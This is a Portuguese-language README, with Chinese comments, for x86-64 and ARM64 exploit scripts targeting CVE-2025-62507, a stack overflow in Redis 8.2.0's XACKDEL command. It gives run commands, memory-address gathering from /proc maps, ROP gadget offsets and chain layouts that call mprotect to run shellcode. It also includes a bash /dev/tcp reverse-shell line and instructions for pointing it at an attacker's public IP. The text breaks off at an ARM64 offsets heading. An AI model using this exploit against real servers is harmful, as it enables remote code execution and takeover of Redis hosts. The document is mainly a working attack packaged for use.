Scripts de Exploit — CVE-2025-62507

Estrutura de diretórios

scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB 调试辅助脚本

---

Resumo da vulnerabilidade

Item	Descrição
CVE	CVE-2025-62507
Tipo de vulnerabilidade	Estouro de buffer de pilha (Stack Buffer Overflow)
Componente afetado	Função xackdelCommand do Redis 8.2.0
Forma de disparo	Comando XACKDEL com mais de 52 streamIDs
Técnica de exploração	Cadeia ROP → mprotect para liberar permissão de execução na pilha → shellcode com reverse shell
Dependências	Python 3 (apenas biblioteca padrão, sem instalação adicional)

---

Pré-requisitos

1. Ambiente alvo: contêiner Docker ou host executando Redis 8.2.0 (versão vulnerável)
2. Terminal de escuta: a máquina atacante precisa iniciar nc -lvnp 4444 antecipadamente para aguardar o reverse shell
3. Permissão para obter endereços: é necessário conseguir ler /proc/<PID>/maps do processo alvo (permissão root)
4. Python 3: ambos os scripts de exploit usam apenas a biblioteca padrão (socket, struct, time, sys)

---

Início rápido

1. Iniciar o contêiner Redis vulnerável

# 在项目根目录执行
docker compose -f docker-compose-vulnerable.yml up -d

# 确认容器运行
docker ps | grep redis-cve-2025-62507

2. Obter os endereços de memória críticos

REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64 地址获取
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

Nota: os endereços mudam após cada reinicialização do contêiner (ASLR), sendo necessário obtê-los novamente.

3. Iniciar o listener do reverse shell

# 在宿主机另开一个终端
nc -lvnp 4444

4. Executar o exploit

# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (Docker QEMU 固定地址, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

---

exploit_x86.py — Exploit ROP x86-64

Uso

python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

Descrição dos parâmetros

Parâmetro	Significado	Como obter	Exemplo de valor
redis_base	Endereço base do ELF do redis-server	Endereço inicial do primeiro segmento redis-server em /proc/PID/maps	0x555555554000
libc_base	Endereço base do libc.so.6	Endereço inicial do primeiro segmento libc.so em /proc/PID/maps	0x7ffff75b3000
stack_addr	Endereço inicial do segmento da pilha da thread	Endereço inicial do segmento [stack] em /proc/PID/maps	0x7ffffffde000

Arquitetura da cadeia ROP

52 个填充 ID (1-1)
  │
  ▼
ID#53  overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ shellcode ──→ system("/bin/bash -c '...'")

Offsets dos gadgets (redis-server-8.2.0)

Gadget	Offset	Descrição
pop rdi; ret	0x82327	Define o 1º argumento do mprotect (addr)
pop rsi; ret	0x86416	Define o 2º argumento do mprotect (len)
pop rdx; ret	0xba1e2	Define o 3º argumento do mprotect (prot)
call rsp	0x9486d	Salta para o shellcode na pilha
mprotect (libc)	0x1019e0	Libera a página de pilha como RWX
system (libc)	0x4c490	Executa o comando do reverse shell

Personalizar o endereço do reverse shell

A variável reverse_shell_cmd é definida na linha 149 do script, com o seguinte valor padrão:

reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

Como modificar: edite exploit_x86.py, localize a linha reverse_shell_cmd e substitua o IP e a porta:

Cenário	IP	Descrição
Rede host do Docker (padrão)	127.0.0.1	O contêiner compartilha a pilha de rede com o host; 127.0.0.1 é o host
Rede bridge do Docker	172.17.0.1	Gateway bridge padrão, aponta para o host
Ataque remoto	<IP público da máquina atacante>	O alvo precisa conseguir rotear até a porta correspondente na máquina atacante

Para alterar a porta: substitua o 4444 em /dev/tcp/<IP>/4444 pela porta real de escuta.

stack_page é calculado dinamicamente a partir do parâmetro stack_addr: (stack_addr + 0x1000) & ~0xFFF, garantindo que a janela do mprotect cubra a região da pilha onde o shellcode está. Se o layout da pilha estiver anormal, ajuste de acordo.

---

exploit_arm64.py — Exploit ROP ARM64

Uso

python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

Descrição dos parâmetros

Parâmetro	Significado	Como obter	Exemplo de valor
redis_base	Endereço base do ELF redis-server-8.2.0-arm64	Endereço inicial do primeiro segmento redis-server em /proc/PID/maps	0xaaaaaaaa0000
libc_base	Endereço base do libc.so.6-arm64	Endereço inicial do primeiro segmento libc.so em /proc/PID/maps	0xfffff7630000
stack_addr	Valor de SP na entrada de xackdelCommand (da análise com GDB)	Observar o SP de entrada de xackdelCommand com breakpoint no GDB	0xfffffffff7e0
rev_host	(Opcional) IP da máquina atacante para o reverse shell	—	192.168.1.1
rev_port	(Opcional) Porta de escuta do reverse shell	—	4444
target	(Opcional) IP do Redis alvo	—	192.168.1.129

Nota ARM64: stack_addr é o valor de SP na entrada de xackdelCommand (não é o endereço inicial do segmento [stack]!). static_ids[0] = stack_addr - 0x310, e o x30 salvo de call() está em stack_addr + 8 (ou seja, static_ids[49].seq).

Arquitetura da cadeia ROP

49 个填充 ID (1-1)
  │
  ▼
ID#49-58  call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
  │  #49: saved x29 (dummy) + x30 (G5)
  │  #50: saved x19/x20, #51: saved x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: 局部变量 (设为 0)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → shellcode
ID#99+    shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

Importante: o epílogo de call() restaura x19-x28 da pilha e lê diversas variáveis locais antes de ret. Os IDs #49-58 precisam conter valores seguros, caso contrário o epílogo falhará durante a execução. A cadeia ROP começa no ID#59 (posição de SP após o ret de call()).

Offsets dos gadgets (redis-server-8.2.0-arm64)